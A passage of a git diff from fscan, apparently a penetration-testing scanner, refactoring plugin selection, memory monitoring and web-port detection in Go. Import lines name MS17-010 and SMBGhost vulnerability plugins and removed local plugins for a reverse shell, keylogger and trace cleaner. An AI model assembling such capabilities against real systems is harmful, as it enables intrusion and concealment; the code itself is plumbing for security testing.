mm.checkMemory()
|
||||||
|
case <-mm.stopChan:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 getHeapSize 方法
|
// checkMemory 检查内存使用情况
|
||||||
|
func (mm *MemoryMonitor) checkMemory() {
|
||||||
|
var m runtime.MemStats
|
||||||
|
runtime.ReadMemStats(&m)
|
||||||
|
|
||||||
|
heapMB := m.HeapInuse / 1024 / 1024
|
||||||
|
goroutineCount := runtime.NumGoroutine()
|
||||||
|
|
||||||
|
// 检查堆内存使用
|
||||||
|
if heapMB > mm.maxHeapMB {
|
||||||
|
log.Printf("[WARN] 内存使用警告: 堆内存使用过高 %d MB (阈值: %d MB)", heapMB, mm.maxHeapMB)
|
||||||
|
|
||||||
|
// 尝试触发GC
|
||||||
|
runtime.GC()
|
||||||
|
|
||||||
|
// 再次检查
|
||||||
|
runtime.ReadMemStats(&m)
|
||||||
|
heapMBAfterGC := m.HeapInuse / 1024 / 1024
|
||||||
|
log.Printf("[INFO] GC后堆内存: %d MB", heapMBAfterGC)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查goroutine数量
|
||||||
|
if goroutineCount > mm.maxGoroutines {
|
||||||
|
log.Printf("[WARN] Goroutine数量警告: 当前数量 %d (阈值: %d)", goroutineCount, mm.maxGoroutines)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetMemoryStats 获取当前内存统计信息
|
||||||
|
func (mm *MemoryMonitor) GetMemoryStats() map[string]interface{} {
|
||||||
|
var m runtime.MemStats
|
||||||
|
runtime.ReadMemStats(&m)
|
||||||
|
|
||||||
|
return map[string]interface{}{
|
||||||
|
"heap_inuse_mb": m.HeapInuse / 1024 / 1024,
|
||||||
|
"heap_alloc_mb": m.HeapAlloc / 1024 / 1024,
|
||||||
|
"sys_mb": m.Sys / 1024 / 1024,
|
||||||
|
"num_gc": m.NumGC,
|
||||||
|
"num_goroutines": runtime.NumGoroutine(),
|
||||||
|
"last_gc_time": time.Unix(0, int64(m.LastGC)),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ForceGC 强制执行垃圾回收
|
||||||
|
func (mm *MemoryMonitor) ForceGC() {
|
||||||
|
before := mm.getHeapSize()
|
||||||
|
runtime.GC()
|
||||||
|
after := mm.getHeapSize()
|
||||||
|
|
||||||
|
// 使用log包直接输出,避免undefined common错误
|
||||||
|
log.Printf("[INFO] 强制GC: 释放内存 %d MB", (before-after)/1024/1024)
|
||||||
|
}
|
||||||
|
|
||||||
|
// getHeapSize 获取当前堆大小
|
||||||
|
func (mm *MemoryMonitor) getHeapSize() uint64 {
|
||||||
|
var m runtime.MemStats
|
||||||
|
runtime.ReadMemStats(&m)
|
||||||
|
return m.HeapInuse
|
||||||
|
}
|
||||||
|
|
||||||
// 默认内存监控器实例
|
// 默认内存监控器实例
|
||||||
var DefaultMemMonitor = NewMemoryMonitor(
|
var DefaultMemMonitor = NewMemoryMonitor(
|
||||||
@ -44,6 +129,12 @@ var DefaultMemMonitor = NewMemoryMonitor(
|
|||||||
30*time.Second, // 30秒检查一次
|
30*time.Second, // 30秒检查一次
|
||||||
)
|
)
|
||||||
|
|
||||||
// 已移除未使用的 StartDefaultMonitor 方法
|
// StartDefaultMonitor 启动默认内存监控器
|
||||||
|
func StartDefaultMonitor() {
|
||||||
|
DefaultMemMonitor.Start()
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 StopDefaultMonitor 方法
|
// StopDefaultMonitor 停止默认内存监控器
|
||||||
|
func StopDefaultMonitor() {
|
||||||
|
DefaultMemMonitor.Stop()
|
||||||
|
}
|
@ -2,7 +2,25 @@ package utils
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
// 已移除未使用的 DeduplicateStrings 方法
|
// DeduplicateStrings 高效字符串去重 - 简化版本
|
||||||
|
func DeduplicateStrings(slice []string) []string {
|
||||||
|
if len(slice) <= 1 {
|
||||||
|
return slice
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用最简单高效的实现
|
||||||
|
seen := make(map[string]struct{}, len(slice))
|
||||||
|
result := make([]string, 0, len(slice))
|
||||||
|
|
||||||
|
for _, item := range slice {
|
||||||
|
if _, exists := seen[item]; !exists {
|
||||||
|
seen[item] = struct{}{}
|
||||||
|
result = append(result, item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -108,8 +108,7 @@ func (b *BaseScanStrategy) isPluginTypeMatchedByName(pluginName string) bool {
|
|||||||
case FilterLocal:
|
case FilterLocal:
|
||||||
return metadata.Category == "local"
|
return metadata.Category == "local"
|
||||||
case FilterService:
|
case FilterService:
|
||||||
// 服务扫描允许service类型,以及通过智能检测的web类型(在上层逻辑中处理)
|
return metadata.Category == "service"
|
||||||
return metadata.Category == "service" || metadata.Category == "web"
|
|
||||||
case FilterWeb:
|
case FilterWeb:
|
||||||
return metadata.Category == "web"
|
return metadata.Category == "web"
|
||||||
default:
|
default:
|
||||||
@ -123,7 +122,6 @@ func (b *BaseScanStrategy) isPluginTypeMatched(plugin common.ScanPlugin) bool {
|
|||||||
case FilterLocal:
|
case FilterLocal:
|
||||||
return plugin.HasType(common.PluginTypeLocal)
|
return plugin.HasType(common.PluginTypeLocal)
|
||||||
case FilterService:
|
case FilterService:
|
||||||
// 服务扫描排除本地插件,允许服务和Web插件
|
|
||||||
return !plugin.HasType(common.PluginTypeLocal)
|
return !plugin.HasType(common.PluginTypeLocal)
|
||||||
case FilterWeb:
|
case FilterWeb:
|
||||||
return plugin.HasType(common.PluginTypeWeb)
|
return plugin.HasType(common.PluginTypeWeb)
|
||||||
@ -133,7 +131,7 @@ func (b *BaseScanStrategy) isPluginTypeMatched(plugin common.ScanPlugin) bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// IsPluginApplicableByName 根据插件名称判断是否适用(新方法)
|
// IsPluginApplicableByName 根据插件名称判断是否适用(新方法)
|
||||||
func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool) bool {
|
func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool {
|
||||||
// 自定义模式下运行所有明确指定的插件
|
// 自定义模式下运行所有明确指定的插件
|
||||||
if isCustomMode {
|
if isCustomMode {
|
||||||
return true
|
return true
|
||||||
@ -145,7 +143,7 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 智能Web插件检测:如果是Web插件且检测到Web服务,则包含Web插件
|
// 智能Web插件检测:如果是Web插件且检测到Web服务,则包含Web插件
|
||||||
if b.shouldIncludeWebPlugin(metadata, targetHost, targetPort) {
|
if b.shouldIncludeWebPlugin(metadata, targetPort) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -164,21 +162,11 @@ func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHos
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// 对于Web插件的特殊处理
|
|
||||||
if metadata.Category == "web" {
|
|
||||||
// Web扫描策略下直接允许Web插件执行(用户明确指定了Web目标)
|
|
||||||
if b.filterType == FilterWeb {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
// 其他策略下必须通过智能检测才能执行
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// shouldIncludeWebPlugin 判断是否应该包含Web插件(智能检测)
|
// shouldIncludeWebPlugin 判断是否应该包含Web插件(智能检测)
|
||||||
func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata, targetHost string, targetPort int) bool {
|
func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata, targetPort int) bool {
|
||||||
// 只对服务扫描策略启用Web插件智能检测
|
// 只对服务扫描策略启用Web插件智能检测
|
||||||
if b.filterType != FilterService {
|
if b.filterType != FilterService {
|
||||||
return false
|
return false
|
||||||
@ -199,14 +187,14 @@ func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata,
|
|||||||
globalWebDetector = NewWebPortDetector()
|
globalWebDetector = NewWebPortDetector()
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检测是否为Web服务(使用完整的智能检测,包括HTTP协议探测)
|
// 检测是否为Web服务(这里暂时只检查常见端口,避免每次都进行HTTP探测)
|
||||||
return globalWebDetector.IsWebService(targetHost, targetPort)
|
return globalWebDetector.IsCommonWebPort(targetPort)
|
||||||
}
|
}
|
||||||
|
|
||||||
// globalWebDetector Web检测器全局实例
|
// globalWebDetector Web检测器全局实例
|
||||||
var globalWebDetector *WebPortDetector
|
var globalWebDetector *WebPortDetector
|
||||||
|
|
||||||
// IsPluginApplicable 判断插件是否适用(通用实现,传统插件系统)
|
// IsPluginApplicable 判断插件是否适用(通用实现)
|
||||||
func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||||
// 自定义模式下运行所有明确指定的插件
|
// 自定义模式下运行所有明确指定的插件
|
||||||
if isCustomMode {
|
if isCustomMode {
|
||||||
@ -218,21 +206,6 @@ func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPo
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// 对于服务扫描中的Web插件,需要进行智能检测(传统插件系统)
|
|
||||||
if b.filterType == FilterService && plugin.HasType(common.PluginTypeWeb) {
|
|
||||||
// 获取Web检测器实例(延迟初始化)
|
|
||||||
if globalWebDetector == nil {
|
|
||||||
globalWebDetector = NewWebPortDetector()
|
|
||||||
}
|
|
||||||
|
|
||||||
// 注意:传统插件系统无法传递host参数,使用空字符串
|
|
||||||
// 这是传统插件系统的限制,新插件系统已经解决了这个问题
|
|
||||||
if targetPort > 0 {
|
|
||||||
return globalWebDetector.IsWebService("", targetPort)
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// 对于服务扫描,还需检查端口匹配
|
// 对于服务扫描,还需检查端口匹配
|
||||||
if b.filterType == FilterService {
|
if b.filterType == FilterService {
|
||||||
// 无端口限制的插件适用于所有端口
|
// 无端口限制的插件适用于所有端口
|
140
Core/PluginAdapter.go
Normal file
140
Core/PluginAdapter.go
Normal file
@ -0,0 +1,140 @@
|
|||||||
|
package core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PluginAdapter 插件适配器
|
||||||
|
// 提供从新插件系统到旧扫描接口的适配
|
||||||
|
type PluginAdapter struct {
|
||||||
|
registry *base.PluginRegistry
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewPluginAdapter 创建插件适配器
|
||||||
|
func NewPluginAdapter() *PluginAdapter {
|
||||||
|
return &PluginAdapter{
|
||||||
|
registry: base.GlobalPluginRegistry,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 全局插件适配器实例
|
||||||
|
var GlobalPluginAdapter = NewPluginAdapter()
|
||||||
|
|
||||||
|
// GetAllPluginNames 获取所有插件名称
|
||||||
|
func (pa *PluginAdapter) GetAllPluginNames() []string {
|
||||||
|
return pa.registry.GetAll()
|
||||||
|
}
|
||||||
|
|
||||||
|
// PluginExists 检查插件是否存在
|
||||||
|
func (pa *PluginAdapter) PluginExists(name string) bool {
|
||||||
|
metadata := pa.registry.GetMetadata(name)
|
||||||
|
return metadata != nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPluginPorts 获取插件支持的端口
|
||||||
|
func (pa *PluginAdapter) GetPluginPorts(name string) []int {
|
||||||
|
metadata := pa.registry.GetMetadata(name)
|
||||||
|
if metadata != nil {
|
||||||
|
return metadata.Ports
|
||||||
|
}
|
||||||
|
return []int{}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPluginsByPort 根据端口获取支持的插件
|
||||||
|
func (pa *PluginAdapter) GetPluginsByPort(port int) []string {
|
||||||
|
var plugins []string
|
||||||
|
for _, name := range pa.registry.GetAll() {
|
||||||
|
metadata := pa.registry.GetMetadata(name)
|
||||||
|
if metadata != nil {
|
||||||
|
for _, p := range metadata.Ports {
|
||||||
|
if p == port {
|
||||||
|
plugins = append(plugins, name)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return plugins
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPluginsByType 根据类型获取插件
|
||||||
|
func (pa *PluginAdapter) GetPluginsByType(pluginType string) []string {
|
||||||
|
var plugins []string
|
||||||
|
for _, name := range pa.registry.GetAll() {
|
||||||
|
metadata := pa.registry.GetMetadata(name)
|
||||||
|
if metadata != nil {
|
||||||
|
if metadata.Category == pluginType {
|
||||||
|
plugins = append(plugins, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return plugins
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanWithPlugin 使用插件进行扫描
|
||||||
|
func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo) error {
|
||||||
|
common.LogDebug(fmt.Sprintf("使用新插件架构扫描: %s", pluginName))
|
||||||
|
|
||||||
|
// 创建插件实例
|
||||||
|
plugin, err := pa.registry.Create(pluginName)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("创建插件 %s 失败: %v", pluginName, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行扫描
|
||||||
|
result, err := plugin.Scan(context.Background(), info)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("插件 %s 扫描失败: %v", pluginName, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理扫描结果
|
||||||
|
if result == nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName))
|
||||||
|
} else if result.Success {
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName))
|
||||||
|
// TODO: 输出扫描结果
|
||||||
|
} else {
|
||||||
|
common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// FilterPluginsByType 按类型过滤插件名称
|
||||||
|
func FilterPluginsByType(pluginType string) func(name string) bool {
|
||||||
|
return func(name string) bool {
|
||||||
|
metadata := GlobalPluginAdapter.registry.GetMetadata(name)
|
||||||
|
if metadata == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
switch pluginType {
|
||||||
|
case common.PluginTypeService:
|
||||||
|
return metadata.Category == "service"
|
||||||
|
case common.PluginTypeWeb:
|
||||||
|
return metadata.Category == "web"
|
||||||
|
case common.PluginTypeLocal:
|
||||||
|
return metadata.Category == "local"
|
||||||
|
default:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetServicePlugins 获取所有服务插件
|
||||||
|
func GetServicePlugins() []string {
|
||||||
|
return GlobalPluginAdapter.GetPluginsByType("service")
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetWebPlugins 获取所有Web插件
|
||||||
|
func GetWebPlugins() []string {
|
||||||
|
return GlobalPluginAdapter.GetPluginsByType("web")
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalPlugins 获取所有本地插件
|
||||||
|
func GetLocalPlugins() []string {
|
||||||
|
return GlobalPluginAdapter.GetPluginsByType("local")
|
||||||
|
}
|
@ -60,15 +60,6 @@ func (p *PortDiscoveryService) shouldPerformLivenessCheck(hosts []string) bool {
|
|||||||
func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
|
func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
|
||||||
var alivePorts []string
|
var alivePorts []string
|
||||||
|
|
||||||
// 如果已经有明确指定的host:port,则优先使用并跳过常规端口扫描
|
|
||||||
if len(common.HostPort) > 0 {
|
|
||||||
alivePorts = append(alivePorts, common.HostPort...)
|
|
||||||
alivePorts = common.RemoveDuplicate(alivePorts)
|
|
||||||
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
|
|
||||||
common.HostPort = nil
|
|
||||||
return alivePorts
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据扫描模式选择端口扫描方式
|
// 根据扫描模式选择端口扫描方式
|
||||||
if len(hosts) > 0 {
|
if len(hosts) > 0 {
|
||||||
alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
|
alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
|
||||||
@ -82,6 +73,14 @@ func (p *PortDiscoveryService) discoverAlivePorts(hosts []string) []string {
|
|||||||
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
|
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 合并额外指定的端口
|
||||||
|
if len(common.HostPort) > 0 {
|
||||||
|
alivePorts = append(alivePorts, common.HostPort...)
|
||||||
|
alivePorts = common.RemoveDuplicate(alivePorts)
|
||||||
|
common.HostPort = nil
|
||||||
|
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
|
||||||
|
}
|
||||||
|
|
||||||
return alivePorts
|
return alivePorts
|
||||||
}
|
}
|
||||||
|
|
@ -5,7 +5,7 @@ import (
|
|||||||
"github.com/shadow1ng/fscan/common"
|
"github.com/shadow1ng/fscan/common"
|
||||||
"github.com/shadow1ng/fscan/plugins/base"
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
|
||||||
// 导入跨平台服务插件(可在所有平台上运行)
|
// 导入新架构插件,触发自动注册
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/activemq"
|
_ "github.com/shadow1ng/fscan/plugins/services/activemq"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/cassandra"
|
_ "github.com/shadow1ng/fscan/plugins/services/cassandra"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/ftp"
|
_ "github.com/shadow1ng/fscan/plugins/services/ftp"
|
||||||
@ -28,30 +28,20 @@ import (
|
|||||||
_ "github.com/shadow1ng/fscan/plugins/services/snmp"
|
_ "github.com/shadow1ng/fscan/plugins/services/snmp"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
|
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/telnet"
|
_ "github.com/shadow1ng/fscan/plugins/services/telnet"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/services/vnc"
|
|
||||||
|
|
||||||
// 导入跨平台Legacy插件
|
// 导入Legacy插件适配器
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch" // 跨平台服务
|
_ "github.com/shadow1ng/fscan/plugins/legacy/netbios"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/findnet" // 网络发现
|
_ "github.com/shadow1ng/fscan/plugins/legacy/ms17010"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/ms17010" // Windows SMB漏洞(但扫描器可跨平台)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/smb"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/netbios" // NetBIOS协议(主要Windows但可跨平台扫描)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/smb2"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/rdp" // RDP协议扫描(可跨平台)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/smbghost"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/smb" // SMB协议扫描(可跨平台)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/rdp"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/smb2" // SMBv2协议扫描(可跨平台)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/elasticsearch"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/smbghost" // SMBGhost漏洞扫描(可跨平台)
|
_ "github.com/shadow1ng/fscan/plugins/legacy/findnet"
|
||||||
|
|
||||||
// 导入Web插件适配器
|
// 导入Web插件适配器
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/webtitle"
|
_ "github.com/shadow1ng/fscan/plugins/legacy/webtitle"
|
||||||
_ "github.com/shadow1ng/fscan/plugins/legacy/webpoc"
|
_ "github.com/shadow1ng/fscan/plugins/legacy/webpoc"
|
||||||
|
|
||||||
// 导入跨平台本地插件(可在所有平台上运行)
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/cleaner" // 系统痕迹清理
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/downloader" // 文件下载
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 文件信息收集
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 正向Shell
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/keylogger" // 键盘记录(主要Windows但支持跨平台)
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 反弹Shell
|
|
||||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // SOCKS5代理
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// =============================================================================
|
// =============================================================================
|
||||||
@ -83,15 +73,49 @@ func InitializePluginSystem() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetAllPlugins 方法
|
// GetAllPlugins 获取所有已注册插件名称
|
||||||
|
func GetAllPlugins() []string {
|
||||||
|
return base.GlobalPluginRegistry.GetAll()
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetPluginMetadata 方法
|
// GetPluginMetadata 获取插件元数据
|
||||||
|
func GetPluginMetadata(name string) *base.PluginMetadata {
|
||||||
|
return base.GlobalPluginRegistry.GetMetadata(name)
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 CreatePlugin 方法
|
// CreatePlugin 创建插件实例
|
||||||
|
func CreatePlugin(name string) (base.Plugin, error) {
|
||||||
|
return base.GlobalPluginRegistry.Create(name)
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetPluginsByCategory 方法
|
// GetPluginsByCategory 按类别获取插件
|
||||||
|
func GetPluginsByCategory(category string) []string {
|
||||||
|
var plugins []string
|
||||||
|
for _, name := range base.GlobalPluginRegistry.GetAll() {
|
||||||
|
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
|
||||||
|
if metadata.Category == category {
|
||||||
|
plugins = append(plugins, name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return plugins
|
||||||
|
}
|
||||||
|
|
||||||
// 已移除未使用的 GetPluginsByPort 方法
|
// GetPluginsByPort 按端口获取插件
|
||||||
|
func GetPluginsByPort(port int) []string {
|
||||||
|
var plugins []string
|
||||||
|
for _, name := range base.GlobalPluginRegistry.GetAll() {
|
||||||
|
if metadata := base.GlobalPluginRegistry.GetMetadata(name); metadata != nil {
|
||||||
|
for _, p := range metadata.Ports {
|
||||||
|
if p == port {
|
||||||
|
plugins = append(plugins, name)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return plugins
|
||||||
|
}
|
||||||
|
|
||||||
// init 自动初始化插件系统
|
// init 自动初始化插件系统
|
||||||
func init() {
|
func init() {
|
@ -19,7 +19,7 @@ type ScanStrategy interface {
|
|||||||
// 插件管理方法
|
// 插件管理方法
|
||||||
GetPlugins() ([]string, bool)
|
GetPlugins() ([]string, bool)
|
||||||
IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
|
IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
|
||||||
IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool) bool
|
IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// selectStrategy 根据扫描配置选择适当的扫描策略
|
// selectStrategy 根据扫描配置选择适当的扫描策略
|
||||||
@ -125,7 +125,7 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 检查插件是否适用于当前目标
|
// 检查插件是否适用于当前目标
|
||||||
if strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode) {
|
if strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
|
||||||
executeScanTask(pluginName, target, ch, wg)
|
executeScanTask(pluginName, target, ch, wg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -143,7 +143,7 @@ func countApplicableTasks(targets []common.HostInfo, pluginsToRun []string, isCu
|
|||||||
|
|
||||||
for _, pluginName := range pluginsToRun {
|
for _, pluginName := range pluginsToRun {
|
||||||
if GlobalPluginAdapter.PluginExists(pluginName) &&
|
if GlobalPluginAdapter.PluginExists(pluginName) &&
|
||||||
strategy.IsPluginApplicableByName(pluginName, target.Host, targetPort, isCustomMode) {
|
strategy.IsPluginApplicableByName(pluginName, targetPort, isCustomMode) {
|
||||||
count++
|
count++
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -187,4 +187,7 @@ func executeScanTask(pluginName string, target common.HostInfo, ch *chan struct{
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// 已移除未使用的 Scan 方法
|
// Scan 入口函数,向后兼容旧的调用方式
|
||||||
|
func Scan(info common.HostInfo) {
|
||||||
|
RunScan(info)
|
||||||
|
}
|
@ -144,7 +144,7 @@ func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlug
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// 服务扫描排除本地插件,但保留Web插件(有智能检测)
|
// 非自定义模式下,排除本地插件
|
||||||
if plugin.HasType(common.PluginTypeLocal) {
|
if plugin.HasType(common.PluginTypeLocal) {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
@ -166,11 +166,6 @@ func (s *ServiceScanStrategy) isPluginApplicableToAnyPort(plugin common.ScanPlug
|
|||||||
|
|
||||||
// isNewPluginApplicableToAnyPort 检查新插件架构的插件是否对任何端口适用
|
// isNewPluginApplicableToAnyPort 检查新插件架构的插件是否对任何端口适用
|
||||||
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(metadata *base.PluginMetadata, portSet map[int]bool, isCustomMode bool) bool {
|
func (s *ServiceScanStrategy) isNewPluginApplicableToAnyPort(metadata *base.PluginMetadata, portSet map[int]bool, isCustomMode bool) bool {
|
||||||
// 服务扫描排除本地插件,但保留service和web类型(web有智能检测)
|
|
||||||
if metadata.Category == "local" {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
// 自定义模式下运行所有明确指定的插件
|
// 自定义模式下运行所有明确指定的插件
|
||||||
if isCustomMode {
|
if isCustomMode {
|
||||||
return true
|
return true
|
145
Core/WebDetection.go
Normal file
145
Core/WebDetection.go
Normal file
@ -0,0 +1,145 @@
|
|||||||
|
package core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebPortDetector Web端口检测器
|
||||||
|
type WebPortDetector struct {
|
||||||
|
// 常见Web端口列表
|
||||||
|
commonWebPorts map[int]bool
|
||||||
|
// HTTP检测超时时间
|
||||||
|
httpTimeout time.Duration
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewWebPortDetector 创建Web端口检测器
|
||||||
|
func NewWebPortDetector() *WebPortDetector {
|
||||||
|
// 定义常见Web端口
|
||||||
|
commonPorts := map[int]bool{
|
||||||
|
80: true, // HTTP
|
||||||
|
443: true, // HTTPS
|
||||||
|
8080: true, // HTTP alternate
|
||||||
|
8443: true, // HTTPS alternate
|
||||||
|
8000: true, // Development server
|
||||||
|
8888: true, // Common dev port
|
||||||
|
9000: true, // Common dev port
|
||||||
|
9090: true, // Common dev port
|
||||||
|
3000: true, // Node.js dev server
|
||||||
|
4000: true, // Ruby dev server
|
||||||
|
5000: true, // Python dev server
|
||||||
|
8081: true, // HTTP alternate
|
||||||
|
8082: true, // HTTP alternate
|
||||||
|
8083: true, // HTTP alternate
|
||||||
|
8084: true, // HTTP alternate
|
||||||
|
8085: true, // HTTP alternate
|
||||||
|
8086: true, // HTTP alternate
|
||||||
|
8087: true, // HTTP alternate
|
||||||
|
8088: true, // HTTP alternate
|
||||||
|
8089: true, // HTTP alternate
|
||||||
|
}
|
||||||
|
|
||||||
|
return &WebPortDetector{
|
||||||
|
commonWebPorts: commonPorts,
|
||||||
|
httpTimeout: 2 * time.Second, // 2秒超时,快速检测
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsWebService 检测指定主机端口是否为Web服务
|
||||||
|
func (w *WebPortDetector) IsWebService(host string, port int) bool {
|
||||||
|
// 1. 首先检查是否为常见Web端口
|
||||||
|
if w.commonWebPorts[port] {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
